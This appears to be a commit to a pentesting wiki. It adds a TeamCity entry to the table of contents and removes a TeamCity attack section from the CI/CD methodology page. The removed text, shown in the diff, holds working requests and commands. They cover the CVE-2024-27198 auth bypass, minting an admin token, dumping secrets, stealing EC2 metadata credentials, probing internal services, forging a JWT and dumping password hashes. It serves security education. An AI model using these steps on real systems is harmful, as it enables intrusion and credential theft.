Add TeamCity CI/CD pentesting section

Author: carlospolop

src/SUMMARY.md

@@ -28,6 +28,7 @@
 - [CircleCI Security](pentesting-ci-cd/circleci-security.md)
 - [TravisCI Security](pentesting-ci-cd/travisci-security/README.md)
   - [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md)
+- [TeamCity Security](pentesting-ci-cd/teamcity-security/README.md)
 - [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md)
   - [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md)
   - [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md)

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -106,118 +106,6 @@ Compromising a CI/CD pipeline or stealing credentials from it can let an attacke
 - If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
 - Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
 
-## TeamCity: public CI/CD to cloud/internal pivoting
-
-A **publicly exposed TeamCity** should be treated as a potential **bridge into production credentials, cloud roles, and private subnets**. A practical attack chain is:
-
-1. **Fingerprint TeamCity and test unauthenticated REST access.** In vulnerable TeamCity On-Prem versions **through 2023.11.3**, the auth bypass **CVE-2024-27198** can route requests through:
-
-```http
-GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
-Host: <teamcity>:8111
-Accept: application/json
-```
-
-If the response returns server metadata without a session, the instance is likely exploitable.
-
-2. **Mint a persistent admin API token.** After confirming the bypass, create a token for a privileged user and switch to authenticated API abuse:
-
-```http
-POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp HTTP/1.1
-Host: <teamcity>:8111
-Accept: application/json
-Content-Type: application/json
-
-{"name":"RedTeamToken"}
-```
-
-3. **Dump build parameters and project secrets.** TeamCity projects often store **database URLs, deploy keys, JWT secrets, SaaS tokens, and cloud credentials** in cleartext parameters:
-
-```http
-GET /app/rest/projects/id:BackendApi/parameters HTTP/1.1
-Authorization: Bearer <teamcity_token>
-Accept: application/json
-```
-
-4. **Execute commands on build agents.** If you can create or modify a build configuration, the build agent becomes your execution proxy. Use it to dump environment variables, read mounted files, and query local metadata/services.
-
-### TeamCity build agents on EC2: steal IMDS credentials
-
-If the build agent runs on **EC2**, command execution often means **instance-profile credential theft**. For **IMDSv1**:
-
-```bash
-IMDS_ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IMDS_ROLE"
-```
-
-With the temporary credentials, validate **real impact** instead of stopping at discovery:
-
-```bash
-aws s3 ls
-aws ssm describe-parameters
-aws ssm get-parameter --name /prod/jwt-secret --with-decryption
-aws ec2 describe-instances
-aws rds describe-db-instances
-```
-
-Interesting loot after a CI/CD compromise:
-
-- **S3 buckets** holding SQL dumps, build artifacts, legacy `.env` files, or static IAM keys
-- **SSM Parameter Store** values with production secrets and internal hostnames
-- **EC2 user-data** disclosing bootstrap credentials or deployment scripts
-- **Describe** permissions that reveal private hosts, subnets, and RDS endpoints for the next pivot
-
-> [!TIP]
-> If you only need metadata from the instance itself, you can also inspect **EC2 user-data** and **instance profiles** from the stolen role using the AWS enumeration pages linked from the AWS section.
-
-### Pivot into private services through the build agent
-
-Do not treat a private subnet as a security boundary if the CI/CD agent already has legitimate reachability to it. The **build job itself** can be used as a **proxy** to enumerate and access internal HTTP services:
-
-```bash
-for path in /health /api/v1/orders /admin /metrics /debug /internal; do
-  curl -s -H "Authorization: Bearer $JWT" "http://internal-host:5000${path}"
-done
-```
-
-This is especially useful after stealing a **shared HS256 JWT secret** from TeamCity parameters, SSM, user-data, or artifacts. Once the secret is known, **JWT claims are attacker-controlled input** even though the token is validly signed:
-
-```python
-import jwt, time
-secret = 'hs256-internal-svc-do-not-share-2024'
-payload = {'sub': 'admin', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 86400}
-print(jwt.encode(payload, secret, algorithm='HS256'))
-```
-
-Abuse paths after JWT forgery:
-
-- Access internal endpoints that only check for a valid signature or `Authorization` header
-- Escalate to admin-only routes when role/claim validation is weak
-- Turn signed claims such as `sub` into a **SQL injection** vector if they are concatenated into backend queries
-
-A raw error such as `invalid input syntax for type integer` plus leaked SQL like `WHERE user_id = 'admin'` strongly suggests the JWT claim is reaching SQL unsafely.
-
-### TeamCity-specific dangerous debug surface
-
-If `internal.properties` enables:
-
-```properties
-rest.debug.database.allow.query.prefixes=select
-```
-
-an attacker with an admin token can query TeamCity's internal database via REST and dump data such as user password hashes:
-
-```http
-GET /app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS HTTP/1.1
-Authorization: Bearer <teamcity_token>
-```
-
-### Practical assessment takeaways
-
-- A **TeamCity auth bypass** is rarely "just" a CI bug; it is often the **entry point** to cloud, secrets, and internal network compromise.
-- A **scanner hit** (for example, a Nuclei template) should be followed by **token minting, secret review, build-agent execution, IMDS checks, cloud enumeration, and private-subnet pivoting**.
-- Defensively, require **IMDSv2** with `HttpTokens=required`, avoid storing long-lived secrets in TeamCity parameters, and disable dangerous debug database query features.
-
 ## More relevant info
 
 ### Tools & CIS Benchmark
@@ -239,9 +127,6 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
 
 ## References
 
-- [ProjectDiscovery: Red-Teaming Cloud Infrastructure with Neo](https://projectdiscovery.io/blog/red-teaming-cloud-infrastructure-with-neo)
-- [JetBrains TeamCity: Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024-27198 and CVE-2024-27199)](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
-- [AWS CLI: modify-instance-metadata-options](https://docs.aws.amazon.com/en_us/cli/latest/reference/ec2/modify-instance-metadata-options.html)
 - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
 - [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
 - [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)